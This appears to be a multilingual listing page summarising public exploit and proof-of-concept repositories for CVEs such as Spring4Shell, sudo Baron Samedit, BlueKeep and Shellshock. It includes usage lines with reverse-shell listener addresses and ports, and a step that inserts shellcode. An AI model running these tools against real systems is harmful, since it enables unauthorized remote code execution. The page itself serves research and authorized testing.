CVE-2022-22965

CVE-2022-22965 Poc&Exp、バッチスキャン対応 使用方法 root@kitploit: -a string リバースシェルリスニングアドレス -b バナー表示するかどうか default true -c string コマンド default "ls" -p int リバースシェルリスニングポート -poc POCスキャンのみ実行するかどうか、デフォルトではPOCのみスキャン default true -r リバースシェルを実行するかどうか default false -t int タイムアウト時間 default 20 -u string ターゲット...

CVE-2020-9484

CVE-2020-9484 동영상을 보려면 이미지를 클릭하세요 사용법 실행 가능하게 만드세요 root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 익스플로잇 win32/c++ 작성, openssl 의존성. 다음의 포트: https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py 지침 이 PoC는 정적으로 링크된 openssl 라이브러리가 필요합니다. openssl include 파일을 thirdparty\include\openssl 에, lib 파일을 thirdparty\libs\openssl$PlatformShortName\ 에...

CVE-2023-21554

CVE-2023-21554-PoC CVE-2023-21554 Windows MessageQueuing PoC， PoC 성공의 징후는 mqsvc.exe 프로세스의 충돌이며, 팝업 메시지가 없으므로 프로세스 모니터와 같은 프로그램에서 확인해야 합니다. Windows 터미널 또는 명령 프롬프트에서 명령을 실행하세요. python poc.py 피해자 PC의 IP 주소를 입력하고 Enter 키를 누르세요...

CVE-2021-3156-PoC

CVE-2021-3156 概念验证 简介 这是针对 CVE-2021-3156 sudo 漏洞的利用程序（Qualys 称其为 Baron Samedit）。 使用方法 构建： root@kitploit: $ make 列出目标： root@kitploit: $ ./sudo-hax-me-a-sandwich 运行： root@kitploit: $ ./sudo-hax-me-a-sandwich 贡献 请发送（合理的）PR，我可能会合并。 一些想法： 更多目标 目标发现 其他利用策略 更自包含的功能： 嵌入共享库 hax.c（请让它保持小巧，ELF golf + asm...

CVE-2025-9074-POC

CVE-2025-9074-POC CVE-2025-9074 の Proof-of-Concept エクスプロイト ⚠️ 法的免責事項 この PoC は教育目的および許可されたセキュリティテストのためにのみ公開されています。 システムへの無断利用は違法かつ非倫理的です。 この PoC は、自分が所有する環境、または明示的なテスト許可を得ている環境でのみ使用してください。 使用方法 root@kitploit: ./cve-2025-9074.sh 192.168.65.7 2375 スクリプトを実行する前に、nc リスナーが動作していることを確認してください。...

cve-2018-12386

Firefox Sandboxed RCE Exploit CVE-2018-12386 다음은 Niklas Baumstark, Samuel Groß 및 Bruno Keith가 발견한 취약점 CVE-2018-12386에 대한 간단한 익스플로잇입니다. 이것은 재미로 만든 PoC개념 증명로, 샌드박스 우회는 포함되어 있지 않으며, 익스플로잇에 사용된 오프셋이 이미 알려진 특정 Linux 설정에서만 작동합니다오프셋은 exploit/offsets.js에서 변경 가능. 이 익스플로잇은 Firefox 62.0.3 및 Firefox ESR 60.2...

bluekeep

bluekeep 针对CVE-2019-0708的公开工作 2019-11-17 更新 添加了Windows 7 32位利用POC代码。 使用POC利用代码中的地址，我对测试VM的成功率约为80%。 可能可以修改以提高成功率。 使用方法 将buf变量替换为你的shellcode。 将host变量更新为你的目标。 python3 win732poc.py 需求 Python3 法律免责声明 本项目仅用于教育和道德测试目的。未经事先双方同意而攻击目标的使用行为是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对因使用本程序而导致的任何滥用或损害负责。...

CVE-2018-9995-rs

개요 이 저장소는 CVE-2018-9995를 대상으로 하는 Rust로 구현된 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 코드는 연구 및 교육 목적으로만 사용됩니다. CVE 세부 정보 식별자: CVE-2018-9995 요약: 취약점을 시연하는 개념 증명 익스플로잇 자세한 기술적 내용은 공개 권고 참조 요구 사항 Rust 툴체인 stable — rustc 및 cargo. Linux 또는 Rust가 지원하는 모든 플랫폼. 사용법 이 저장소는 PoC입니다. 일반적인 사용 예시: root@kitploit: cargo run -...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC root@kitploit: Usage: python3 CVE-2023-26256.py -h...

CVE-2023-41993

CVE-2023-41993 漏洞利用 PoC 此存储库包含针对 CVE-2023-41993 漏洞的概念验证 PoC 漏洞利用代码。 此 PoC 展示了基于 po6ix 发布的 PoC 的有限读/写原语。 此 PoC 的演示可在此处找到。 如有任何问题、建议或疑虑，请提出 issue。: :8080 漏洞详情 CVE-2023-41993 是一个严重漏洞，根源于 WebKit 浏览器引擎，影响多种 Apple 产品。它在处理恶意网页内容时允许任意代码执行。更多详情请参阅公告以及修复此问题的 WebKit 提交。 漏洞利用概述 此 PoC 展示了任意读/写原语，推进了对...

CVE-2020-3452

CVE-2020-3452 TL;DR 이것은 CVE-2020-3452에 대한 익스플로잇입니다. 아직 완전히 완성되지 않았습니다. 합법적인 상황에서 사용하십시오. 문제가 생기면 당신의 책임입니다. 이게 뭐죠? 이것은 CVE-2020-3452의 원래 PoC를 개선하기 위한 빠르고 대충 만든 시도입니다. 현재 단계에서는 원본과 똑같은 작업을 수행하는 간단한 py 스크립트에 불과합니다. 면책 조항 본 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 묵시적 보증을 포함하여 단, 이에 한정되지 않음...

shellshock-poc

Shellshock-Exploit 이 익스플로잇은 bash 버전 1.14부터 4.3까지 존재하는 Shellshock 취약점CVE-2014-6271을 악용합니다. 사용법: python3 ./exploit.py -t -u -a -p 예시: python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443 취약점에 대한 추가 정보: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271...

CVE-2025-3102-exploit

이 저장소에는 README가 없습니다...

CVE-2020-15999

CVE-2020-15999 ここでは、CVE-2020-15999のPoCをGoogle ChromeとFtview（Ubuntu）で実行するためのすべてのリソースを紹介します。 このリポジトリには2つのフォルダがあり、それぞれのプログラムに対応しています。 Google Chrome エクスプロイトを再現するには、86.0.4240.111より前のバージョンのGoogle Chromeをインストールする必要があります。私の場合はバージョン85.0.4183.121を使用しました。以下のコマンドでインストールできます。 root@kitploit: sudo dpkg -i...

CVE-2024-38063-POC

메모리 손상 취약점을 위한 IPv6 패킷 전송기 CVE-2024-38063 이 Python 스크립트는 잠재적인 메모리 손상 취약점인 CVE-2024-38063을 트리거하기 위해 조작된 패킷을 전송하도록 설계되었습니다. Scapy 라이브러리를 사용하여 IPv6 패킷을 생성하고 전송하며, 선택적으로 지정된 MAC 주소를 사용할 수 있습니다. 이 스크립트는 여러 네트워크 인터페이스를 처리할 수 있습니다. 기능 선택적 Interface 헤더가 포함된 조작된 IPv6 패킷을 전송합니다. 대상 IP 주소와 선택적으로 MAC 주소를...

CVE-2026-23744

用法: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC 选项: -h, --help 显示此帮助信息并退出 --lhost, -l LHOST 攻击者 IP 地址 --lport, -p LPORT 攻击者端口 --rhost, -t RHOST 目标 URL...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Mirth Connect 远程代码执行（RCE）漏洞利用 ⚠️ 仅供教育与实验室使用 ⚠️ 针对 CVE-2023-43208 的概念验证（PoC）漏洞利用程序，该漏洞是 Mirth Connect 4.4.1 之前版本中的一个远程代码执行漏洞。 🚨 重要法律声明 此工具严格仅用于： 🧪 教育目的 🔬 实验室环境中的授权安全测试 📚 网络安全研究与学习 请勿用于： ❌ 未经授权针对您不拥有的系统 ❌ 未获得明确书面许可 ❌ 生产环境 ❌ 非法或恶意目的 您有责任遵守所有适用的法律法规。滥用此工具可能导致刑事指控。 📋 描述 此漏洞利用程序针对...

CVE-2021-31630-HTB

CVE-2021-31630 漏洞利用 针对 Hack The Box 平台 WifineticTwo 主机上 OpenPLC 的 CVE-2021-31630 漏洞利用 PoC， 此脚本作为 CVE-2021-31630 的概念验证 PoC 漏洞利用，针对 Hack The Box 平台上 WifineticTwo 主机运行的 OpenPLC 服务。 用法 root@kitploit: python exploit.py -ip -p -u -pwd root@kitploit: python ./exploit.py -ip 10.10.16.5 -p 1337 -u openplc...

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis FollinaCVE-2022-30190 Microsoft Office 취약점에 대한 탐구로, 상세 분석, 통제된 실습 환경에서의 개념 증명PoC 악용, 그리고 완화 전략을 포함합니다. 교육 및 연구 목적으로만 사용하십시오...